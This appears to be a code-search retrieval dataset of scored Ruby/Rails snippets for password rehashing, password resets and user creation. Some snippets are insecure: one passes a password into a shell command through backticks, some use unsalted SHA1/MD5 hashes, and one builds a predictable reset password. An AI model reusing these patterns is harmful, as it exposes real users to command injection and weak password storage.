"docid": "33e0dd286e4af98b405517ba960c800d", "score": "0.55074716", "text": "def update\n @post241 = Post241.find(params[:id])\n\n respond_to do |format|\n if @post241.update_attributes(params[:post241])\n format.html { redirect_to(@post241, :notice => 'Post241 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post241.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "99d24a74bc96db3bd84b0451ef3afb5f", "score": "0.5503794", "text": "def test_put_invoices_1_xml\n @parameters = {:invoice => {:number => 'NewNumber'}}\n \n Redmine::ApiTest::Base.should_allow_api_authentication(:put,\n '/invoices/1.xml',\n {:invoice => {:number => 'NewNumber'}},\n {:success_code => :ok})\n \n assert_no_difference('Invoice.count') do\n put '/invoices/1.xml', @parameters, credentials('admin')\n end\n \n invoice = Invoice.find(1)\n assert_equal \"NewNumber\", invoice.number\n \n end", "title": "" }, { "docid": "106da692837f1a52bd417af24628cbef", "score": "0.55019647", "text": "def update\n @post283 = Post283.find(params[:id])\n\n respond_to do |format|\n if @post283.update_attributes(params[:post283])\n format.html { redirect_to(@post283, :notice => 'Post283 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post283.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bc97157715903e48201706f1365e5c93", "score": "0.5500468", "text": "def update\n @post214 = Post214.find(params[:id])\n\n respond_to do |format|\n if @post214.update_attributes(params[:post214])\n format.html { redirect_to(@post214, :notice => 'Post214 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post214.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "6c6a4c32fa3757e4b3e6699b9772f45e", "score": "0.5500083", "text": "def update\n @post123 = Post123.find(params[:id])\n\n respond_to do |format|\n if @post123.update_attributes(params[:post123])\n format.html { redirect_to(@post123, :notice => 'Post123 was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @post123.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" } ]
ef55f167f928b06e6e98d5c0355f08fc
Rehash the password. If you
[ { "docid": "430a5e07371bbdd6519c428695843686", "score": "0.81410664", "text": "def rehash\n # Do the salting\n salted = generate_salted( password, salt )\n \n # Do the hashing\n @hash = generate_hash( salted, digest )\n end", "title": "" } ]
[ { "docid": "8fce8db48776ab3f3e9adce7e70a89b8", "score": "0.7422886", "text": "def update_hash!(password)\n self.password = password\n hash_password\n save\n end", "title": "" }, { "docid": "ddeffe7f1efc523ff941bb627e8be3df", "score": "0.7374603", "text": "def hash_password\n self.password = Digest::SHA512.hexdigest(\"#{SALT}#{password}\") if password_changed?\n end", "title": "" }, { "docid": "6d44bdfc0de3ac6b1117cebf8685b776", "score": "0.725593", "text": "def password=( new_password )\n @password = new_password.to_s\n rehash\n @password\n end", "title": "" }, { "docid": "481386c501a75e1d0490b6f2f028ae58", "score": "0.72035646", "text": "def reset_password\n self.password = ''\n PASS_LENGTH.times {self.password += SALT_ALPHABET.sample.chr}\n self.password.tap {self.save}\n end", "title": "" }, { "docid": "978e3010e89b4a13dededd49bad15587", "score": "0.71932495", "text": "def reset_password\n self.password = ''\n PASS_LENGTH.times {self.password += SALT_ALPHABET.sample.chr}\n self.password.tap {self.save}\n end", "title": "" }, { "docid": "1caa646b085d590d3913d9eb46e4f324", "score": "0.71827567", "text": "def hash_password\n self.password = self.class.hash_password(self.password) unless self.password.blank?\n end", "title": "" }, { "docid": "8b2b915b7ac02b7bae1977788d157f93", "score": "0.71383697", "text": "def hash_password\n if(!self.password_plaintext.blank?)\n self.password = Extensions::Passworded.hash_password(self.password_plaintext)\n end\n end", "title": "" }, { "docid": "c6139b3e404dfae79ec5659eb45958ff", "score": "0.71159184", "text": "def reset_pw\n\t\tmake_salt\n\t\tpass = SecureRandom.base64[0,6]\n\t\tself.password = encrypt_pw(pass)\n self.force_new_pw = true\n puts pass\n\t\tpass\n\tend", "title": "" }, { "docid": "4ba38cbd9fb8fc9614326dcae7bc2d59", "score": "0.70974845", "text": "def regenerate_password_if_needed\n @password = @cleartext_password.to_bitlbee_password_hash if @cleartext_password\n end", "title": "" }, { "docid": "f83c1921c4a61c8d839c0780ea20f19f", "score": "0.70502174", "text": "def change_password\n self.dummy_password = false if password_digest_changed?\n end", "title": "" }, { "docid": "54335bcf806f2d7520e278203ffbce4d", "score": "0.69681597", "text": "def update_password\n if not password.blank?\n self.hashed_password = self.class.hashed(password)\n end\n end", "title": "" }, { "docid": "5abd51d8a4fd1226a8f84e8ee09b1fbc", "score": "0.69604367", "text": "def reset_password\n self.password = Digest::SHA1.hexdigest(email + last_login_at.to_i.to_s)[0..8]\n end", "title": "" }, { "docid": "d6bae90c3f70eeb284692e5900f80310", "score": "0.6946704", "text": "def hash_password\n self.password_hash = self.class.hash_password(self.password) unless self.password.blank?\n end", "title": "" }, { "docid": "d6bae90c3f70eeb284692e5900f80310", "score": "0.6946704", "text": "def hash_password\n self.password_hash = self.class.hash_password(self.password) unless self.password.blank?\n end", "title": "" }, { "docid": "cf9ac551ac77339c15eafc5fe615b400", "score": "0.69187814", "text": "def rehash(options={})\n invoke_command(\"#{pyenv_command} rehash\", options)\n end", "title": "" }, { "docid": "17911827f642d4887365c7354cc7087b", "score": "0.6902527", "text": "def update_password\n if not password.blank?\n self.hashed_password = self.class.hashed(password)\n end\n end", "title": "" }, { "docid": "cc3ac4aefe7a64094c22bc811cf459fc", "score": "0.69004107", "text": "def upgrade_password!\n return if using_bcrypt?\n return unless updating_password?\n # Initiate the re-encrypt by changing the hash_type and\n # calling #password= again\n @hash_type = HASH_TYPE_BCRYPT\n self.password = @password\n end", "title": "" }, { "docid": "28c111e1ea5736abc47556fc6e3d92e2", "score": "0.6881957", "text": "def change_password(password)\n self.pwd_salt = BCrypt::Engine.generate_salt\n self.pwd_hash = BCrypt::Engine.hash_secret(password, self.pwd_salt)\n end", "title": "" }, { "docid": "ebdeec8bff0fd3ec471222062a62202a", "score": "0.6874757", "text": "def hash_new_password\n self.hashed_password = BCrypt::Password.create(@new_password)\n @new_password = nil\n @new_password_confirmation = nil\n end", "title": "" }, { "docid": "ebdeec8bff0fd3ec471222062a62202a", "score": "0.6874757", "text": "def hash_new_password\n self.hashed_password = BCrypt::Password.create(@new_password)\n @new_password = nil\n @new_password_confirmation = nil\n end", "title": "" }, { "docid": "588f2ddc82dafdb516e1f810d148a5dc", "score": "0.68445593", "text": "def change_password!(new_password)\n # We really want to validate the new_passord before it gets hashed.\n # We jut don't know how. Crap.\n if new_password.length >= 6 && new_password.length <= 64 \n self.update_attribute(:hashed_password, encrypt(new_password))\n else\n raise NewPasswordFailedValidation\n end\n end", "title": "" }, { "docid": "d268042b2884543a98d42b30e1ec26c5", "score": "0.6832292", "text": "def password=(new_password); end", "title": "" }, { "docid": "d268042b2884543a98d42b30e1ec26c5", "score": "0.6832292", "text": "def password=(new_password); end", "title": "" }, { "docid": "99dc0c5000387472b420b03cba60f998", "score": "0.6819634", "text": "def lm_hash(password); end", "title": "" }, { "docid": "6e9442b5f1c700fb2afb0e9e99c3174e", "score": "0.6816742", "text": "def hash_password(newpass)\n Digest::MD5.hexdigest(newpass)\n end", "title": "" }, { "docid": "e5ffadcb01c214dfb1453e42d1991cb3", "score": "0.68133134", "text": "def hash_password\n self.password = Digest::SHA1.hexdigest(self.password)\n end", "title": "" }, { "docid": "c98b99fe3116f8b4122ad83caabac3ee", "score": "0.679107", "text": "def change_password(pass)\n update_attribute(\"password\", self.class.sha1(pass)) if pass.present?\n end", "title": "" }, { "docid": "c98b99fe3116f8b4122ad83caabac3ee", "score": "0.679107", "text": "def change_password(pass)\n update_attribute(\"password\", self.class.sha1(pass)) if pass.present?\n end", "title": "" }, { "docid": "433b47c981f46937e0efd26963fa9388", "score": "0.6775616", "text": "def set_hash_password\n # update password if password was set\n self.encrypted_password = User.hash_password(encrypted_password) if !encrypted_password.blank? && encrypted_password.length < 32\n #filtered_errors = self.errors.reject{ |err| %w{ user_detail }.include?(err.first) }\n #self.errors.clear\n #filtered_errors.each { |err| self.errors.add(*err) }\n end", "title": "" }, { "docid": "456fda46cd0a5b372eb8c8d067a6eb3a", "score": "0.6737592", "text": "def hash_new_password\n self.password_salt = BCrypt::Engine.generate_salt\n self.password = BCrypt::Engine.hash_secret(self.new_password, self.password_salt)\n end", "title": "" }, { "docid": "7e43375582d233d4c5a7111f0c19e325", "score": "0.67014515", "text": "def reset\n\t\t@staff = Staff.find(params[:id])\n\t\toldpassword = @staff.password\n\t\tif oldpassword == secure_hash(params[:oldpassword])\n\t\t\tnewpassword = secure_hash(params[:newpassword])\n\t\t\t@staff.update_attributes(password:newpassword)\n\t\t\tflash[:success] = \"password modify successfully!\"\n\t\t\tredirect_to staff_path(@staff)\n\t\telse \n\t\t\tflash[:error] = \"old password is not correct!\"\n\t\t\tredirect_to \"/staffs/\"+@staff.id.to_s+\"/setting/\"\n\t\tend\n\tend", "title": "" }, { "docid": "1326cdeae88ab20a353d219e17364f9d", "score": "0.67008346", "text": "def hash_new_password\n self.Password = BCrypt::Password.create(@new_Password)\n end", "title": "" }, { "docid": "6a6e6ac421e1c51fbd8c73fce4ba2d4c", "score": "0.66990906", "text": "def regenerate_password_if_needed\n @password = @cleartext_password.encrypt_bitlbee_password(@user.cleartext_password) if @user && @user.cleartext_password && @cleartext_password\n end", "title": "" }, { "docid": "d174e4e2cb6856bf287e119b72a6cb98", "score": "0.66859996", "text": "def reset_password!\n new_password = `head -n 1 /dev/random | openssl base64`[0..12].chomp\n self.update_attribute(:password, new_password)\n Mailer.deliver_reset_password(self)\n end", "title": "" }, { "docid": "bf505fd006396165beb971b607165350", "score": "0.66858625", "text": "def change_password(password)\n @password = password\n derive_key\n end", "title": "" }, { "docid": "0ac646c613fafa4bdbd93a6c806fc7fe", "score": "0.6684379", "text": "def change_password(new_pwd)\n change_pw_link\n change_pw_entry(new_pwd)\n end", "title": "" }, { "docid": "d697ed392d650c9703e5e0e97522036f", "score": "0.66820955", "text": "def hash_new_password\n self.hashed_password = BCrypt::Password.create(@new_password)\n end", "title": "" }, { "docid": "c194a350bc30f31d417d9b13404deb08", "score": "0.6654577", "text": "def clear_password!\n self.hashed_password = self.class.fingerprint(salt, nil)\n @_password = nil\n end", "title": "" }, { "docid": "5c3face5409eb95eb60750a8649e45b8", "score": "0.66409457", "text": "def forced_password_change\n if force_password_change_was == true\n if password_hash_was == BCrypt::Engine.hash_secret(@password,password_salt)\n errors.add(:password, \"cannot be the same\")\n return false\n end\n end\n end", "title": "" }, { "docid": "874512f7668202f034bdf983e3ca6a3c", "score": "0.66318995", "text": "def reset_password(pass)\n self.password = pass\n self.password_reset_sent = nil\n reset_perishable_token\n end", "title": "" }, { "docid": "874512f7668202f034bdf983e3ca6a3c", "score": "0.66318995", "text": "def reset_password(pass)\n self.password = pass\n self.password_reset_sent = nil\n reset_perishable_token\n end", "title": "" }, { "docid": "669d410a95f80d10c9f20a57aaf9bced", "score": "0.662866", "text": "def hash_new_password\n self.hashed_password = BCrypt::Password.create(@password)\n end", "title": "" }, { "docid": "669d410a95f80d10c9f20a57aaf9bced", "score": "0.662866", "text": "def hash_new_password\n self.hashed_password = BCrypt::Password.create(@password)\n end", "title": "" }, { "docid": "c760086b90512e44626e8a983d134c7d", "score": "0.66065884", "text": "def hash_password\n @password = Password.create(password)\n self.password = @password\n end", "title": "" }, { "docid": "f981c087eda43f6e785db8b313da745c", "score": "0.6598677", "text": "def reset_password\n new_password = secure_hash(\"#{self.email}==#{Time.now}==recover_password\").first(6).upcase\n if Rails.env.development?\n logger.error(\"NEW PASSWORD::::::::::::::::: #{new_password}\")\n end \n self.password = new_password\n self.password_confirmation = new_password\n end", "title": "" }, { "docid": "3a12f2f3af24173f36c3262de0db87e6", "score": "0.6576254", "text": "def change_password\n print 'New password: '\n new_password = $stdin.noecho(&:gets).chomp\n puts '*' * new_password.length\n\n print 'Repeat new password: '\n verify_new_password = $stdin.noecho(&:gets).chomp\n puts '*' * verify_new_password.length\n\n raise 'Passwords do not match' if new_password != verify_new_password\n\n @connection.change_password new_password\n\n nil\n end", "title": "" }, { "docid": "0bfb7fb503722ed594eb88680d6f37f0", "score": "0.65731543", "text": "def changepassword\n passwords = View.new.changepass_view\n current_password = passwords[0]\n new_password = passwords[1]\n puts @password\n #checks if the user entered current password match with the user password if it match change password is permited if not it will not change the current password\n if @password == current_password\n puts 'Correct password'\n @password = Authenticate::PasswordHash.new.create_hash(new_password)\n puts 'password has been change'\n else\n puts 'invalid password please try again'\n end\n end", "title": "" }, { "docid": "ad95646f71617101c0c55409355f0de7", "score": "0.65728843", "text": "def change_password\n prompt = TTY::Prompt.new\n old_password = prompt.mask(PASTEL.blue.bold(\"Enter old password:\"))\n if self.password == old_password\n new_password = prompt.mask(PASTEL.blue.bold(\"Enter new password:\"))\n if new_password == nil \n puts \"\"\n puts PASTEL.red.bold(\"Please enter at least one letter.\")\n puts PASTEL.red.bold(\"Yes we know that this is not very secure.\")\n puts \"\" \n self.change_password\n else\n self.update(password: new_password)\n self.reload\n puts PASTEL.green.bold(\"Password has been updated.\")\n end\n else\n puts PASTEL.red.bold(\"Incorrect Password.\")\n puts \"\"\n puts PASTEL.blue.bold(\"Try Again.\")\n puts \"\"\n self.change_password\n end\n end", "title": "" }, { "docid": "47fb6ccd3c6592223b332272675f7acd", "score": "0.65692663", "text": "def update_hashed_password\n if self.password\n self.salt = User.generate_salt\n self.hashed_password = User.encrypt_password(password, salt)\n end\n end", "title": "" }, { "docid": "d9d2380e5e5595d8fcabfb1a16564077", "score": "0.6557464", "text": "def hash_password\n if password_required?\n self.hashed_password = self.class.hash_password(password)\n end\n end", "title": "" }, { "docid": "240cce7eb6890fbce38c9d91b2a02c53", "score": "0.655521", "text": "def hash_password\n return if password.blank?\n\n self.password_hash = Password.create(password)\n end", "title": "" }, { "docid": "eef02c2633af77802408992863d5cc49", "score": "0.65346086", "text": "def reset\n pass = Digest::SHA1.hexdigest(params[:password])\n uid = Digest::SHA1.hexdigest(\"YA\" + pass+ \"YA\")\n auth = Authorization.find_by_user_id_and_provider(params[:user], \"ziggi\")\n if not auth\n auth = Authorization.new :user_id => params[:user], :provider => \"ziggi\"\n end\n auth.update_attributes :uid => uid\n auth.save\n render :text => \"Password changed\"\n end", "title": "" }, { "docid": "f426eb0346265cf1ad60436e3196a635", "score": "0.6515212", "text": "def change_password\n end", "title": "" }, { "docid": "f426eb0346265cf1ad60436e3196a635", "score": "0.6515212", "text": "def change_password\n end", "title": "" }, { "docid": "f426eb0346265cf1ad60436e3196a635", "score": "0.6515212", "text": "def change_password\n end", "title": "" }, { "docid": "0f67c9832e82e94b30ee8fe9368568f7", "score": "0.6514287", "text": "def rehash repo\n end", "title": "" }, { "docid": "3a8825ba4431681c34c834e4c30fca48", "score": "0.6509548", "text": "def hash_password(pw)\n\t`echo '#{pw}' | makepasswd --clearfrom=- --crypt-md5 |awk '{ print $2 }'`.strip\nend", "title": "" }, { "docid": "4fed50d552077c31a5ba7ef1622cc462", "score": "0.65084213", "text": "def generate_restore_hash!\n self.password_restore_hash = User.generate_hash(self)\n self.save!\n end", "title": "" }, { "docid": "35fcf54d5acd53c4ef97857e581aacde", "score": "0.6494396", "text": "def update_password\n \tself.password = ::Password::update(self.password) if self.password_changed?\n \tend", "title": "" }, { "docid": "0b78689420de9aad1c91be60b4aa0e60", "score": "0.6486955", "text": "def change_password!(new_password)\n clear_reset_password_token\n self.password_confirmation = new_password\n self.password = new_password\n save!\n end", "title": "" }, { "docid": "f73d18898fd826fd0096c1f897ee8042", "score": "0.6479422", "text": "def hash_password(password)\n self.password_algorithm = self.class.password_algorithm\n self.password_salt = SaltedHash::salt\n self.password_hash = SaltedHash::compute(password_algorithm, password, password_salt)\n end", "title": "" }, { "docid": "dacfe43e3c47e286d238f674a34c1c7d", "score": "0.6477", "text": "def hash_password(plain_password)\n password = 0\n shift = 1\n\n 0.upto(plain_password.length-1) do |i|\n val = plain_password[i].ord << shift\n rotated_bits = val >> 15\n val &= 0x7fff\n password ^= (val | rotated_bits)\n shift += 1\n end\n\n password ^= plain_password.length\n password ^= 0xCE4B\n password.to_s(16).upcase\n end", "title": "" }, { "docid": "4870ce4f7c3365754a732eb9ffaec038", "score": "0.6476722", "text": "def passwords_hashed=(_arg0); end", "title": "" }, { "docid": "4870ce4f7c3365754a732eb9ffaec038", "score": "0.6476722", "text": "def passwords_hashed=(_arg0); end", "title": "" }, { "docid": "4870ce4f7c3365754a732eb9ffaec038", "score": "0.6476722", "text": "def passwords_hashed=(_arg0); end", "title": "" }, { "docid": "14fce35f50cebfbb46db8a076aef85d2", "score": "0.6472941", "text": "def change_password!(password, new_password) \n \n if (check_password(password)) \n set_password(new_password)\n save\n else\n raise PasswordNotValid, \"The password is not valid\"\n end\n \n end", "title": "" }, { "docid": "fa27adeadbece2679d0f841d4b06e91d", "score": "0.64707106", "text": "def hash_password\n self.salt = SecureRandom.alphanumeric(16)\n self.password << self.salt\n self.password = Digest::SHA256.hexdigest self.password\n end", "title": "" }, { "docid": "c1beecade175aa17a6877b537ead5bdf", "score": "0.64702797", "text": "def change_password(user_name, user_password)\n # TODO\n end", "title": "" }, { "docid": "077e31b2932f4f12da5cc434d8960f7a", "score": "0.64647007", "text": "def update_password\n #puts \"ID ===== #{self.id}\"\n if (self.id.nil?)\n self.password = Password::update(self.password)\n else\n existing = User.find(self.id)\n if (existing.password.nil? or (self.password.length < 192 and existing.password.length == 192))\n self.password = Password::update(self.password)\n end\n end\n end", "title": "" }, { "docid": "8e203f7f1772efb74b78c9153bfa7eb7", "score": "0.6459983", "text": "def new_password=(value)\n @password = Digest::SHA1.hexdigest(value)\n @hash_function_name = 'SHA-1'\n end", "title": "" }, { "docid": "8e203f7f1772efb74b78c9153bfa7eb7", "score": "0.6459983", "text": "def new_password=(value)\n @password = Digest::SHA1.hexdigest(value)\n @hash_function_name = 'SHA-1'\n end", "title": "" }, { "docid": "17c18fade2b6d39e8fdafc241153d412", "score": "0.64553744", "text": "def reset_password!\n self.password = SecureRandom.hex(8)\n self.password_confirmation = password\n self.save\n #Shoppe::UserMailer.new_password(self).deliver\n end", "title": "" }, { "docid": "174b52ef8b47ab4b6796ebefe51715a0", "score": "0.64479065", "text": "def update_password\n\t\t@user = Account.find_by_id(params[:account][:id])\n\t\t@user.password = params[:account][:new_password]\n\n # there must be a confirmation\n\t\tif params[:account][:new_password] == params[:account][:new_password_confirm]\n\t\t\tif @user.save && @user.update_attribute('recoverable', false)\n\t\t\t\tflash[:notice] = \"Password udpated\"\n\t\t\t\tredirect_to root_url\n\t\t\telse\n\t\t\t\trender 'reset'\n\t\t\tend\n\t\telse\n\t\t\tflash[:error] = \"Password confirmation does not match\"\n\t\t\trender 'reset'\n\t\tend\n\tend", "title": "" }, { "docid": "c715128f9a5b744c860697c7dabc496d", "score": "0.6444262", "text": "def change_password\n change_pw_link\n change_pw_entry\n end", "title": "" }, { "docid": "9094b2910248c43e5e68d58470f7c6a9", "score": "0.64420575", "text": "def update\n @user = User.find(params[:id])\n pwd = params[:newpass][:password].strip\n pwdconf = params[:newpass][:password_confirmation].strip\n if pwd == pwdconf\n # => OK\n @user.update_attribute(:password_digest, SessionsHelper.digest(pwd))\n log_in(@user)\n flash[:success] = I18n.t('password.success.reset', {pseudo: @user.name})\n redirect_to home_path\n else\n # => Ne correspond pas\n flash.now[:danger] = I18n.t('password.errors.confirmation_doesnt_match')\n render :edit\n end\n end", "title": "" }, { "docid": "9d61367324d7c89accbbb93e1baa2896", "score": "0.6426154", "text": "def change_password(new_password, old_password)\n raise WrongPassword unless has_password?(old_password)\n change_password!(new_password)\n end", "title": "" }, { "docid": "385f91b0d481ad1aafd81e5be02256a3", "score": "0.6422185", "text": "def password=(new_password)\n self.password_digest = dumb_hash(new_password)\n end", "title": "" }, { "docid": "691b3236e4aa1a1c73b1b865475a101d", "score": "0.64205295", "text": "def change_password(old_password, new_password)\n raise NoMethodError, \"Not implemented yet...\"\n end", "title": "" }, { "docid": "c26ec2e0dea3855f4f2a230b5023726a", "score": "0.64204055", "text": "def password_reset\n ensure_password_is_hashed\n Api::Accounts.new.password_reset(to_hash)\n end", "title": "" }, { "docid": "4d758e60e98fef6712e6767813a0c1e5", "score": "0.64116764", "text": "def reauthenticate(password)\n invalidate_token(password)\n add_auth_headers(token_or_error(auth_attempt))\n end", "title": "" }, { "docid": "7de79c4941501c84ea11f3c49ce2ee7a", "score": "0.64105004", "text": "def reset_password!(new_password, new_password_confirmation)\n self.password = new_password\n self.password_confirmation = new_password_confirmation\n clear_reset_password_token if valid?\n if valid?\n unlock_access! if access_locked?\n end\n save\n end", "title": "" }, { "docid": "a728522a1f46b28ea62b679ad1cb6883", "score": "0.6385476", "text": "def change_user_password\n end", "title": "" }, { "docid": "6660be969b2edddc5d67c7e6f7ce9db6", "score": "0.63683933", "text": "def password=(pw)\n return pw if pw == self.class.mask(@_password) # This is assumed to be a round-trip scenario.\n self.hashed_password = self.class.fingerprint(salt, pw)\n @_password = pw\n end", "title": "" }, { "docid": "9d6d7f4345d5129a12ce0544403bd3f0", "score": "0.6366158", "text": "def reset_password\n randomize_password\n save\n clear_password\n end", "title": "" }, { "docid": "9d6d7f4345d5129a12ce0544403bd3f0", "score": "0.6366158", "text": "def reset_password\n randomize_password\n save\n clear_password\n end", "title": "" }, { "docid": "7f68543f4c02b1d244af0197f89a18c0", "score": "0.63635665", "text": "def make_password_hash(password)\n password.crypt('RB')\n end", "title": "" }, { "docid": "b2dd63c9d54e631ea5a0fa8f036b4c33", "score": "0.6357626", "text": "def hash_password\n begin\n adv = Greenletters::Process.new(@hash_password_cli_command, :transcript => $stdout)\n\n adv.start!\n\n adv.on(:output, /Please type a plain-text password/i) do |process, match_data|\n @asked = true\n adv << \"#{@password}\\n\"\n end\n\n adv.on(:output, /.+/i) do |process, match_data|\n @hashed_password = set_hashed_password(match_data)\n end\n\n adv.wait_for(:exit)\n\n rescue NotImplementedError\n puts \"Finished\"\n end\n end", "title": "" }, { "docid": "c6f6617e3ea81e8ce3c161e4da3ef73b", "score": "0.6348069", "text": "def update_password(pass)\n self.password_confirmation = pass\n self.password = pass\n end", "title": "" }, { "docid": "280cf5b4cbb2685e579aee03da966e56", "score": "0.63445324", "text": "def force_change_password\n @must_change_password = true\n @modified = true\n end", "title": "" }, { "docid": "d7f791c12435b522f5c65ae590f31026", "score": "0.6339282", "text": "def reset_password\n randomize_password\n save\n password\n end", "title": "" }, { "docid": "0459c049a0d57251d3d7b333b402f80f", "score": "0.6335152", "text": "def recover_password(user_id, password)\n get_uaa_client.change_password(user_id, password)\n end", "title": "" }, { "docid": "513aafdb39ce8b598ff1a663af2910d1", "score": "0.633208", "text": "def change_password\n raise 'Not Implemented'\n end", "title": "" }, { "docid": "d75fe89acb7eaf2ba2771a423ccc2e4d", "score": "0.6322558", "text": "def changepw\n if checkAuth(params)\n user = User.find(params[:uid]) \n if !user.nil?\n old_psw_token = BCrypt::Engine.hash_secret(params[:old_password], user.password_salt)\n if old_psw_token == user.password_digest\n user.update(password: params[:new_password])\n rtn = {\n status: \"201\"\n }\n render :json => rtn\n else # validation code expired\n rtn = {\n status: \"402\"\n }\n render :json => rtn\n end\n else # no such email found\n rtn = {\n status: \"403\"\n }\n render :json => rtn\n end\n else\n rtn = {\n errormsg: \"Authentication Denied.\",\n status: \"401\"\n }\n render :json => rtn\n end\n\tend", "title": "" }, { "docid": "9e397e00ff95c420b032a12136dae84b", "score": "0.6318593", "text": "def reset_password!(password)\n self.reset_password_token = nil\n self.password = password\n save!\n end", "title": "" }, { "docid": "5dd340bc453b344f946c338253b9bdf2", "score": "0.6314742", "text": "def clear_password\n @password&.replace('gotyou!' * 100)\n GC.start\n end", "title": "" }, { "docid": "47b5a28f7657650994924b07d9660519", "score": "0.6309063", "text": "def reset_password(old_password, new_password)\n return ErrorEnum::WRONG_PASSWORD if self.password != Encryption.encrypt_password(old_password) # wrong password\n self.password = Encryption.encrypt_password(new_password)\n return self.save\n end", "title": "" }, { "docid": "d07423ea1947027ef185c1160ca1f510", "score": "0.63006705", "text": "def change_password(new_password_text)\n raise 'Password too short. Minimum 8 characters.' if new_password_text.length < 8\n\n new_password = SecretStore::Password.create(new_password_text)\n new_encrypt_checksum = new_password.activate_checksum(new_password_text)\n store.all_secrets.each do |old_secret|\n plaintext = old_secret.decrypt_text(encrypt_checksum)\n new_secret = SecretStore::Secret.create_from_plaintext(old_secret.label, plaintext, new_encrypt_checksum)\n store.save_secret(new_secret)\n end\n\n store.save_password(new_password)\n\n @password = new_password\n end", "title": "" }, { "docid": "53d2d1dd8ce421a3f4d67a137171c526", "score": "0.6300168", "text": "def correct_pass?(password)\n Crypto.hash_password(password, self.salt) == self.hashed_password\n end", "title": "" }, { "docid": "87f54c1990c4ca777894829cdd066673", "score": "0.6299332", "text": "def update_password(pass)\n self.password_confirmation = pass\n self.password = pass\n end", "title": "" }, { "docid": "a245e644b0725da7e313c7beb0c8d456", "score": "0.62982357", "text": "def hash_with_legacy(plain_text_password)\n User.hash_password(\"#{salt}#{User.hash_password plain_text_password}\")\n end", "title": "" } ]
6b85c10c0c2d38da7f16d3d9c8c6fdfb
The user creation page loads
[ { "docid": "5121d15c586437f7b4e7ae8a0a7f2f9c", "score": "0.0", "text": "def test_new_view\n get :new\n assert_response :redirect\n assert_redirected_to user_new_path(:cookie_test => \"true\")\n\n get :new, :params => { :cookie_test => \"true\" }, :session => { :cookie_test => true }\n assert_response :success\n\n assert_select \"html\", :count => 1 do\n assert_select \"head\", :count => 1 do\n assert_select \"title\", :text => /Sign Up/, :count => 1\n end\n assert_select \"body\", :count => 1 do\n assert_select \"div#content\", :count => 1 do\n assert_select \"form[action='/user/new'][method='post']\", :count => 1 do\n assert_select \"input[id='user_email']\", :count => 1\n assert_select \"input[id='user_email_confirmation']\", :count => 1\n assert_select \"input[id='user_display_name']\", :count => 1\n assert_select \"input[id='user_pass_crypt'][type='password']\", :count => 1\n assert_select \"input[id='user_pass_crypt_confirmation'][type='password']\", :count => 1\n assert_select \"input[type='submit'][value='Sign Up']\", :count => 1\n end\n end\n end\n end\n end", "title": "" } ]
[ { "docid": "073bc65ea5d74097b2dbea5b027474e8", "score": "0.72542113", "text": "def create\n @title = t('admin.users.new.title')\n @user = User.new(params[:user])\n\n if @user.save\n js_notify message: t('admin.users.create.success'), type: 'alert-success', time: 2500\n render partial: 'user', content_type: 'text/html', locals: { user: @user }\n else\n render partial: 'new', status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "c780e77e16f54885790092805d68c48f", "score": "0.6981918", "text": "def create\n @user = User.new(params[:user])\n if @user.save\n redirect_to users_path, notice: t('users.update.updated')\n else\n @page_title = t(\"actions.new_user\")\n render action: 'new'\n end\n end", "title": "" }, { "docid": "d9be9267083559c75d67b08dfbdb958f", "score": "0.6936655", "text": "def create\n if user.save\n redirect_to users_path\n else\n render 'new'\n end\n end", "title": "" }, { "docid": "70a650b3ba2c0ab3f52941347d3566fc", "score": "0.68991685", "text": "def user_create\n # Users.destroy_all\n name_input = @prompt.ask(\"What is your name?\")\n username_input = @prompt.ask(\"What is your desired Username?\")\n location_input = @prompt.ask(\"What is your location? example: \\\"NY\\\"\")\n password_input = @prompt.ask(\"What is your password?\")\n @user = User.create(name: name_input, state: location_input, password: password_input, username: username_input)\n puts \"Congratulations! You created an account!\"\n user_menu_runner\n # Initialize user menu methods here\n end", "title": "" }, { "docid": "0cdb4e19c4e1a8085e58e03179353352", "score": "0.6857923", "text": "def new\n @title = \"Signup Page\"\n @user = User.new\n end", "title": "" }, { "docid": "34f4e8226d7d738727022eeaddd5dc8e", "score": "0.68406266", "text": "def new\n\t@user = User.new\n\t@title = \"Sign up\"\n end", "title": "" }, { "docid": "608b6105ad1b85f3f1f3f4e1ce91747e", "score": "0.68159527", "text": "def new_user\n \trender action: 'new_user'\n end", "title": "" }, { "docid": "45b0a36b7beadef0dd885fc15ed519c6", "score": "0.68068236", "text": "def create\n @user = User.new(user_params)\n if @user.save \n #signs user in after they signup\n session[:user_id] = @user.id\n \n flash[:success] = \"Welcome to the alpha blog #{@user.username}\"\n #sends user to their user show page - profile page after signing up\n redirect_to user_path(@user)\n else\n #renders the new user template again\n render 'new'\n end \n end", "title": "" }, { "docid": "b93bd4d44322389e52cfafde77ad30e9", "score": "0.6804718", "text": "def new_user\n begin\n $results.log_action(\"button(#{@params[0]})\")\n @driver.find_element(:id, \"user-new-btn\").click\n sleep 2\n $results.success\n rescue => ex\n $results.fail(\"button(#{@params[0]})\", ex)\n end\n end", "title": "" }, { "docid": "0d8bc093f05ebe55a80ab0adfbf44a50", "score": "0.68035644", "text": "def create_new_user\n name = @prompt.ask(\"what is your name?\".red)\n @user = User.find_by(name: name)\n\n if @user\n # User.exists?(@user.name)\n puts \"Welcome back #{@user.name}\"\n show_current_series\n current_series \n remove_from_series_list\n\n else\n @user= User.create(name: name)\n puts\"Welcome #{@user.name}, to Tv series App\".green\n input = get_user_input\n \n series_id = get_series_information(input)\n puts \"\"\n # binding.pry\n end\n end", "title": "" }, { "docid": "0668ca0476ddb18c7fd8835732e7d341", "score": "0.6778988", "text": "def create\n @user = User.new(params[:user])\n @user.build_user_profile(signup_source:\"bay_nature_trip_editor\")\n respond_to do |format|\n if @user.save\n format.html { render \"thanks\", :layout => \"static_embed\" }\n else\n format.html { render action: \"new\", :layout => 'static_embed' }\n end\n end\n end", "title": "" }, { "docid": "9a6f57e2daceb21a2dd5e1176d2f2fe1", "score": 